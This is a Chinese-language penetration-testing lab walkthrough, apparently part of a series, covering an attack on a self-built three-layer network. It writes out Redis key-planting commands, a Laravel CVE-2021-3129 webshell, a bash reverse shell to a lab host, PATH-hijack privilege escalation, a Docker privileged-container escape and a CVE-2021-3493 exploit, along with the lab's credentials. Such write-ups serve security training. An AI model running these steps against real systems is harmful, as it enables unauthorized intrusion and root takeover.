域渗透——多层内网环境渗透测试(三)(上)

举报
亿人安全 发表于 2025/01/31 22:50:57 2025/01/31
143 0 0
【摘要】 朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全“设为星标”,否则可能就看不到了啦原文由作者授权发表,首发在Freebuf安全社区https://www.freebuf.com/defense/382534.html 本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug ...

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦


原文由作者授权发表,首发在Freebuf安全社区

https://www.freebuf.com/defense/382534.html

图片

本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。

文中若有不当之处,还望各位大佬多多点评。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

环境配置

网络拓扑图

整个环境共五台机器,分别处于三层内网环境中。网络拓扑图如下,整个靶场设计模拟真实网络环境中的情况,分别划分了DMZ区,生产区和核心区,不同区域间通过网段划分进行隔离。

  • DMZ区IP段为192.168.52.1/24

DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。

  • 生产区IP段为192.168.52.1/24

第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络

  • w核心区IP段为192.168.93.1/24

第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器

图片

机器 对应IP 区域 服务器作用
Ubuntu 64 位 (Web 1)  ubuntu:web2021 172.23.2.67  192.168.52.10 DMZ区  边界突破机 redis、Nginx反代理服务器
Ubuntu 64 位 (Web 2)  ubuntu:ubuntu 192.168.52.20  192.168.93.10 生产区(二层网络) web服务器
win7(pc1)  bunny:Bunny2021 192.168.93.20  192.168.52.30 生产区(二层网络) OA
win7(pc2)  moretz:Moretz2021 192.168.93.40 核心区(三层网络) 域成员
windows server 2012 192.168.93.30 核心区(三层网络) 域控

由于网络环境问题,测试过程中部分ip可能会发生变化。

靶机信息

域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

涉及的知识点

端口扫描、端口服务识别、漏洞探测利用、Laravel Debug mode RCE(CVE-2021-3129)漏洞利用、Docker逃逸、通达OAv11.3漏洞利用、Linux环境变量提权、Redis未授权访问漏洞、Linux sudo权限提升(CVE-2021-3156)漏洞利用、MS14-068漏洞利用、路由转发与代理、多层隧道代理、内网信息收集、NTLM与SMB Relay攻击、Psexec远控、哈希传递(PTH)、黄金票据、白银票据

攻击过程

信息收集

我们现在开始对目标的攻击,我们首先对入口机web服务器进行渗透测试,寻找突破口,对172.23.2.67进行全端口扫描,扫描后发现存在四个端口

图片

80端口

图片

81端口开了Laravel

图片

接下来还剩下两个服务 22、6379。22端口爆破动静会很大,可以放到后面无计可施的时候再去尝试,先测试一下6379端口,因为这个一旦攻击成功即可获取root权限。Web攻击获取的有可能是低权限,而且也可能会遇到一些waf之类的防护等不确定因素。因此我们先尝试redis未授权漏洞。

Redis 未授权访问

redis-cli -h 192.168.52.10

测试成功,发现存在redis未授权漏洞

图片

现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。

首先在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

图片

ssh-keygen -t rsa

第一行输入id_rsa,密码设置为空,直接回车

图片

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

图片

通过redis将key写入到服务器中

cat key.txt | redis-cli -h 192.168.52.10 -x set hack

图片

连接目标主机的redis

redis-cli -h 192.168.52.10

图片

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh  

//设置redis的备份路径为/root/.ssh

config set dbfilename authorized_keys  

//设置上传公钥的备份文件名为autorized_keys

将数据保存

save

quit

图片

ssh -i id_rsa root@192.168.52.10

图片

写入成功即可直接ssh登录到服务器上。

内网信息收集

获取到一台机器的控制权限后,我们查看当前网络情况,第一个是我们外网的入口机器地址,第二个是我们内网地址。

图片

现在我们已经拿到了root权限,并且机器是可以出网的。

图片

netstat -pantule

可见貌似机器上只有22、80、81、6379端口对我们来说有价值一些,我们尝试进一步信息收集,去找到一些有用的信息。

图片

发现机器上有一个www站点,但是只有一个静态网址,没什么可利用的价值。

图片

现在寻找一下81端口的绝对路径文件

sudo netstat -tuln | grep ':81'

ps -p 788 -o cmd

这里貌似是执行了这行命令,没有找到绝对配置文件,我们可以应该进一步去查看nginx的配置文件。

图片

nginx的配置文件一般都在 /etc/nginx/nginx.conf或者/etc/nginx/conf/nginx.conf 位置

图片

http://192.168.52.20:8000


由此可见,他的80端口和81端口的网站都是来自于服务器,那么我们拿到的这台服务器应该是角色可以断定,是Nginx反代理服务器,那么我们的下一步的攻击思路就是,攻击内网192.168.52.20的web服务。

使用命令查看ARP缓存表

图片

总结:

1、服务器角色:Nginx反代理服务器

2、内网地址:192.168.52.10

3、入口机 可出网

小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx反代理服务器上获取的内网地址,来扫描这个C段

内网隧道穿透---一层

由于靶场是模拟实战环境,我们搭建一个frp隧道,因为这里不管是出网还是不出网,其实我们都是要搭建隧道的,判断出不出网,只是用来判断,我们要利用什么样的协议去进行搭建隧道而已。上传的利用文件均放在tmp目录下。

frps端

图片

图片

frpc端

上传客户端到kali上的tmp中,用python开启一个http服务

图片

python -m http.server

图片

wget http://192.168.52.129:8000/frpc.ini .

wget http://192.168.52.129:8000/frpc .

图片

运行frpc时报错,应该是frp版本有问题了,尝试更换frp版本

./frpc -c a.txt

图片

再次运行

./frpc -c a.txt

图片

代理隧道已经搭建成功,利用kali的proxychains4进行代理配置

图片

隧道已经搭建成功。此时我们使用工具进行内网探测

图片

Laravel-CVE-2021-3129漏洞利用

访问链接可见Laravel版本号,根据fscan扫描结果得知,该版本存在漏洞,那么我们尝试使用对应的exp进行深入利用。

图片

工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

图片

webshell地址:http://192.168.52.20:8000/fuckyou.php

密码:pass

图片

这里我们连接shell,攻击成功。执行ifconfig之后发现没有回显,初次判断是权限太小。

继续信息收集

图片

这里很多docker字样,由此判断我们在docker容器中

Hostname

cat /proc/1/cgroup

图片

目前的情况是得知目前获取的机器权限是docker,但是我们的权限过于低级,什么事情都干不了,于是乎我们尝试提权。在提权之前,我们先对系统信息收集一下

深度信息收集

在tmp目录上传信息收集脚本,对机器进行信息收集

图片

反弹shell

反弹到入口机的shell

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1236<&1'

图片

上传信息收集脚本,赋予权限并且运行。

chmod +x linpeas.sh

/tmp/linpeas.sh

图片

图片

图片

发现可能存在的提权漏洞,我们使用exp尝试进行提权。

pkexec 本地提权内核提权-CVE-2021-4034

尝试使用2021年的提权神器,内核提权-CVE-2021-4034-pkexec 进行本地提权

图片

可惜尝试失败了,我们尝试其他的提权方式。

图片

脏牛提权

上传脏牛脚本,尝试用脏牛提权

图片

gcc -pthread dirty.c -o dirty -lcrypt

运行脏牛提权

./dirty

图片

这个提权也是失败的

现在内核提权无法使用,那就只能用信息收集脚本来找具有SUID或4000权限的文件了

环境变量提权

回头看信息收集的文件的时候发现其中:

图片

这里我们运行一下这个shell文件,发现好像是执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

图片


cd /tmp;echo "/bin/bash" > ps

chmod 777 ps;echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

# 此时我们获得了root权限,可以执行命令了

图片

当我们拿到了docker的root权限之后,直接查看是否开启了镜像挂载

图片

如果存在挂在的话,是可以进行docker逃逸的

Docker特权模式逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

mkdir /tmp/hackone                                                                                        

mount /dev/sda1 /tmp/hackone                                                                                                                                                                

ls /tmp/hackone


挂载成功

图片

现在我们把宿主机的文件挂在到我们的/tmp/hack上了,我们目前的思路是,把我们自己生成的ssh密钥复制到宿主机上进行写入到.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器。现在我们查看一下宿主机上有什么用户

ls /tmp/hackone/home

图片

可见ubuntu用户,那么我们只能将密钥复制到ubuntu上面去了

ls /tmp/hackone/home/ubuntu/.ssh

图片

cp -avx /tmp/hackone/home/ubuntu/.ssh/id_rsa.pub /tmp/hackone/home/ubuntu/.ssh/authorized_keys

#-avx是将权限也一起复制,现在将id.rsa.hub再复制成一个authorized_keys文件

echo > /tmp/hackone/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件

清空之后,我们在生成一个密钥,然后将生成的.pub文件内容复制替换过去

先创建一个test文件保存我们的密钥

ssh-keygen -t rsa

输入hackone 回车  回车

#定义密码为空

图片

查看密钥

ls

图片

把我们的密钥写进去

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCxRU01fn0Nz7+1GE1uhBdLjy8999jdYnyCYiVaL+u+RV/7dKmOFByZkhQwaGoFWN/R73Nvq003puku/w+gjCs368UsHWvyUSfeoDMMRdXGXYQVuJ4jjQ0C+AvkPnQ4Ejo1FMkJD1yAnIzpHLnsqbp53zMCMb8F9/2DchyqMKFluHsOgU9wYfwEJAI0vVoEZ6pplxGCrjhEPTGZicJ4vTE8uj6Sq9so7YhskXtJDaR7XYaCRiVEtmaWGombSAt1P/OPGV8Ul8qMs9r1+N4+z2xF6Dztl25bn0sC2zTQmQa15iN84f+ule2w5bZy057Auys134dFMPjUt9oESPC/5bF root@ubuntu' > /tmp/hackone/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件

图片

cat /tmp/hackone/home/ubuntu/.ssh/authorized_keys #查看是否写入成功

可见已经成功写入

图片

那么我们回到入口机的ubuntu目录中,用密钥来尝试登录目标机器

ssh -i hackone ubuntu@192.168.52.20

成功登录到对方机器,至此已拿到二层网络的web服务器

图片

二层网络信息收集

我们查看网络信息,发现存在两张网卡

图片

图片

Ubuntu内核overlayfs提权漏洞[CVE-2021-3493]

我们尝试进一步提权,首先查看ubuntu版本号

图片

google到相关的cve漏洞编号

图片

漏洞原理为linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。

linux内核代码允许低权限用户在使用unshare()函数创建的用户命名空间中挂载overlayfs文件系统。当使用setxattr()函数设置merged联合挂载目录中文件的security.capablility扩展属性时,根据overlayfs文件系统的特性,将实际修改init_user_ns下upper目录中对应文件的扩展属性,从而造成本地提权问题。

漏洞影响版本包括:Ubuntu 20.10、Ubuntu 20.04 LTS、Ubuntu 18.04 LTS、Ubuntu 16.04 LTS、Ubuntu 14.04 ESM

漏洞利用过程如下:

下载exp https://github.com/briskets/CVE-2021-3493

图片

将exp上传到kail中,并开启一个http

图片

先进入tmp目录下,然后下载提权的exp

wget http://192.168.52.129:8000/exploit.c

图片

gcc exploit.c -o exploit

./exploit

至此提权成功

图片

拿到root权限之后,我们这个状态的权限使用起来不舒服,我们将其反弹到msf上,因为前面我们信息收集是可出网的状态。我们可以上线msf

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

作者其他文章

评论(0

抱歉,系统识别当前为高风险访问,暂不支持该操作

    全部回复

    上滑加载中

    设置昵称

    在此一键设置昵称,即可参与社区互动!

    *长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

    *长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。